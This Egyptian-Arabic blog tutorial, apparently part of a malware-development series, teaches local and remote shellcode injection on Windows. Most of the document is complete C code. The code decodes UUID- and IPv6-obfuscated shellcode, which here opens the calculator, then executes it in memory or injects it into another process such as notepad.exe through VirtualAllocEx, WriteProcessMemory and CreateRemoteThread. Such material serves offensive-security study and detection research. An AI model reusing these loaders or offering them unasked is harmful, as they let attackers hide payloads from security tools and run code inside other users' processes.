السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ
اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ
مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ
إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا
بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،
✨🌙 هَلَّ هِلالُ الخَيْرِ، فَأسألُ اللهَ أنْ يَملأ قُلوبَكم بالنُّورِ واليقينِ، مُبَارَكٌ عَلَيكُمُ
الشَّهْرُ 🌙✨
[+] إتكلمنا فـ المقالة اللـ فاتت عن الـ DLL Injection .. في المقالة دي هنتكلم عن نوع تاني من أنواع
الـ Process Injection وهو الـ Shellcode Injection.
[+] وهنتكلم تحديدا عن :
[+] فـ المقالات اللـ فاتت كُنا بنستخدم شيل كود بسيط وظيفته إنه يفتح الـ Calculator ، بس مجربناش نديله أمر عشان يشتغل قبل كده .. فـ الجزء دا بقي هنتكلم عن لو معانا شيل كود ، ازاي نقدر نشغله.
[+] بس قبل مـ ندخل ع الكود ، تعالي أوضحلك إحنا رايحين نعمل إيه :
HellShell اللـ اتكلمنا عنها قبل كده.
VirtualAlloc علشان نحط فيه الشيل كود.
memcpy.VirtualProtect.CreateThread عشان يتنفذ.[+] يلا بينا نشوف الخطوات :
HellShell وهنعمل Obfuscation للشيل كود ولأي طريقة تحبها
.. انا استخدمت UUIDs :
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = 0;
DWORD dwOldProtection = 0;
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}VirtualAlloc عشان نحجز مكان فـ الميموري
.. وتقدر تشوف الـ
Documentation بتاعها من [هنا].PAGE_READWRITE يعني
صلاحيات قراءة وكتابة بس (هنغير الصلاحيات بعدين).
PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
return -1;
}memcpy :pDeobfuscatedPayload (الـ Shellcode
بعد فك التشفير) وبيحطه فـ المنطقة الجديدة اللـ حجزناها فـ
الميموري عند pShellcodeAddress.
memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
pDeobfuscatedPayload عن طريق ملء المساحة
بتاعته بأصفار ، وده
عشان نمنع أي أثر ليه فـ الميموري ، وميفضلش متاح لحد تاني يقرأه.
memset(pDeobfuscatedPayload, 0, sDeobfuscatedSize); HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
VirtualProtect :Shellcode pShellcodeAddress
وبيغير
الصلاحيات بتاعته لـ PAGE_EXECUTE_READWRITE ،
وده
معناه إن المساحة دي من الميموري بقت ممكن نقراها ، نكتب فيها ، وكمان ننفذ أي كود جواها (وده ضروري
عشان نقدر نشغل الـ Shellcode) .. وبتخزن القيمه القديمة للصلاحيات في dwOldProtection عشان لو عاوزين
نرجعها تاني بعدين.
if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
return -1;
}CreateThread :
(LPTHREAD_START_ROUTINE)pShellcodeAddress
بيحدد إن الكود اللـ هيبدأ تنفيذ الـ Thread
هو
الموجود فـ pShellcodeAddress ، وده فعليا
بيشغل الـ Shellcode .. بقية البارامترز مش مستخدمه هنا غير
آخر واحد الـ بيخزن threadID عشان نقدر
نعرف الـ ID بتاع الـ Thread الجديد.
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcodeAddress, NULL, 0, &threadID);
if (hThread == NULL) {
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
return -1;
}WaitForSingleObject ، وبعدها
بنمسح الميموري اللـ كنا حجزناها بـ VirtualAlloc عن طريق
VirtualFree ، وأخيرا بنقفل الـ Thread بـ
CloseHandle عشان نتفادى الـ Memory Leaks
وأي مشاكل ممكن
تأثر على أداء السيستم.
WaitForSingleObject(hThread, INFINITE);
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
CloseHandle(hThread);[+] يلا نـ رن :
الكود النهائي :
#include <windows.h>
#include <stdio.h>
char* UuidArray[] = {
"E48348FC-E8F0-00C0-0000-415141505251", "D2314856-4865-528B-6048-8B5218488B52", "728B4820-4850-B70F-4A4A-4D31C94831C0",
"7C613CAC-2C02-4120-C1C9-0D4101C1E2ED", "48514152-528B-8B20-423C-4801D08B8088", "48000000-C085-6774-4801-D0508B481844",
"4920408B-D001-56E3-48FF-C9418B348848", "314DD601-48C9-C031-AC41-C1C90D4101C1", "F175E038-034C-244C-0845-39D175D85844",
"4924408B-D001-4166-8B0C-48448B401C49", "8B41D001-8804-0148-D041-5841585E595A", "59415841-5A41-8348-EC20-4152FFE05841",
"8B485A59-E912-FF57-FFFF-5D48BA010000", "00000000-4800-8D8D-0101-000041BA318B", "D5FF876F-F0BB-A2B5-5641-BAA695BD9DFF",
"C48348D5-3C28-7C06-0A80-FBE07505BB47", "6A6F7213-5900-8941-DAFF-D563616C632E", "00657865-9090-9090-9090-909090909090"
};
#define NumberOfElements 18
typedef RPC_STATUS(WINAPI* fnUuidFromStringA)(
RPC_CSTR StringUuid,
UUID* Uuid
);
BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL, TmpBuffer = NULL;
SIZE_T sBuffSize = 0;
NTSTATUS STATUS = 0;
fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
if (pUuidFromStringA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
sBuffSize = NmbrOfElements * 16;
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
for (int i = 0; i < NmbrOfElements; i++) {
if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X\n", UuidArray[i], STATUS);
HeapFree(GetProcessHeap(), 0, pBuffer);
return FALSE;
}
TmpBuffer += 16;
}
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
int main() {
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = 0;
DWORD dwOldProtection = 0;
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}
PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
return -1;
}
memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
memset(pDeobfuscatedPayload, 0, sDeobfuscatedSize);
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
return -1;
}
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcodeAddress, NULL, 0, &threadID);
if (hThread == NULL) {
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
return -1;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);
CloseHandle(hThread);
return 0;
}
[+] لو فاكر فـ مقالة الـ DLL Injection ، اتكلمنا عن إزاي نحقن ملف DLL داخل بروسيس فـ جزئية الـ Remote DLL Injection.
[+] هنا بقى فـ الـ Remote Shellcode Injection ، هنستعين بنفس
الفكرة ، بس
بدل مـ بنحقن DLL ، هنحقن
Shellcode جوا البروسيس اللـ مستهدفينها .. وتعالي أقولك هنمشي إزاي :
Snapshot لكل العمليات اللـ
شغالة باستخدام CreateToolhelp32Snapshot.
Handle عليها باستخدام OpenProcess.
VirtualAllocEx ، وبعدها بنكتب الشيل كود
فيها باستخدام
WriteProcessMemory.
VirtualProtectEx.CreateRemoteThread.[+] يلا بينا نشوف الخطوات :
HellShell زي الطريقة اللـ فوق .. وعشان
حابب
أغير قولت هستخدم طريقة الـ
IPv6 المرادي :
GetRemoteProcessHandle من كود الـ Remote DLL Injection .. وهنضيف مكتبة الـ
<TlHelp32.h> :
ShellcodeInjectionToRemoteProcess ودي اللـ
مسئولة عن إنها تحقن الشيل كود :
Remote DLL Injection .. فـ تقدر ترجع للمقالة
اللـ فاتت
وهتفهم .. وكذلك المقالات كلها ماشيين ع نفس النمط فـ الدنيا المفروض تكون بسيطة يعني.
main func وعادي كذلك زي
كود الـ DLL والاكواد السابقة :
[+] يلا نـ رن :
Calculator بتشتغل من
البروسيس وتمام :
[+] تعالي نتأكد أكتر ونجرب طريقة تانية مستخدمنهاش قبل كده :
notepad.exenotepad.exe
Ctrl + G ونضيف الـ Address هنا :
Right-Click > Follow in Dump > Selected
Address :
Calculator فتحت من الـ notepad.exe بنجاح
:
[+] الكود النهائي :
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
char* Ipv6Array[] = {
"FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
"8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBF0:B5A2:5641:BAA6:95BD:9DFF",
"D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:632E", "6578:6500:9090:9090:9090:9090:9090:9090"
};
#define NumberOfElements 18
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
PCSTR S,
PCSTR* Terminator,
PVOID Addr
);
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// getting RtlIpv6StringToAddressA address from ntdll.dll
fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
if (pRtlIpv6StringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// getting the real size of the shellcode (number of elements * 16 => original shellcode size)
sBuffSize = NmbrOfElements * 16;
// allocating mem, that will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// loop through all the addresses saved in Ipv6Array
for (int i = 0; i < NmbrOfElements; i++) {
// Ipv6Array[i] is a single ipv6 address from the array Ipv6Array
if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
// if failed ...
printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X\n", Ipv6Array[i], STATUS);
return FALSE;
}
// tmp buffer will be used to point to where to write next (in the newly allocated memory)
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess)
{
HANDLE hSnapshot = NULL;
PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot Failed with Error : %d \n", GetLastError());
goto _EndOfFunction;
}
if (!Process32First(hSnapshot, &Proc)) {
printf("[i] Process32First Failed with Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++) {
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
}
LowerName[i++] = '\0';
}
}
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
break;
}
} while (Process32Next(hSnapshot, &Proc));
_EndOfFunction:
if (hSnapshot != NULL)
CloseHandle(hSnapshot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
BOOL ShellcodeInjectionToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory at : 0x%p \n", pShellcodeAddress);
printf("[i] Press <ENTER> to write Shellcode ... \n");
getchar();
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] WriteProcessMemory Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Successfully Written %d Bytes \n", sNumberOfBytesWritten);
memset(pShellcode, '\0', sSizeOfShellcode);
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Press <Enter> to Run ... ");
getchar();
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread Failed with Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL;
DWORD dwProcessId = NULL;
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = NULL;
if (argc < 2) {
wprintf(L"[i] Usage : \"%s\" <Process Name> \n", argv[0]);
return -1;
}
wprintf(L"[i] Searching For Process ID of \"%s\" ... ", argv[1]);
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[!] Process not found.\n");
return -1;
}
printf("[i] DONE \n");
printf("[i] Found Target Process PID : %d \n", dwProcessId);
printf("[i] Press <ENTER> to Convert ... \n");
getchar();
if (!Ipv6Deobfuscation(Ipv6Array, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
printf("[!] Ipv6Deobfuscation failed.\n");
goto _Cleanup;
}
printf("[i] DONE \n");
printf("[i] Deobfuscated Payload at : 0x%p of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);
if (!ShellcodeInjectionToRemoteProcess(hProcess, pDeobfuscatedPayload, sDeobfuscatedSize)) {
printf("[!] Shellcode Injection failed.\n");
goto _Cleanup;
}
printf("[i] Injection Successful.\n");
_Cleanup:
if (pDeobfuscatedPayload) {
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
}
if (hProcess) {
CloseHandle(hProcess);
}
printf("[i] Press <ENTER> to Quit ...");
getchar();
return 0;
}
وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.
خدلك لفة فـ المصادر والمراجع يا عزيزي: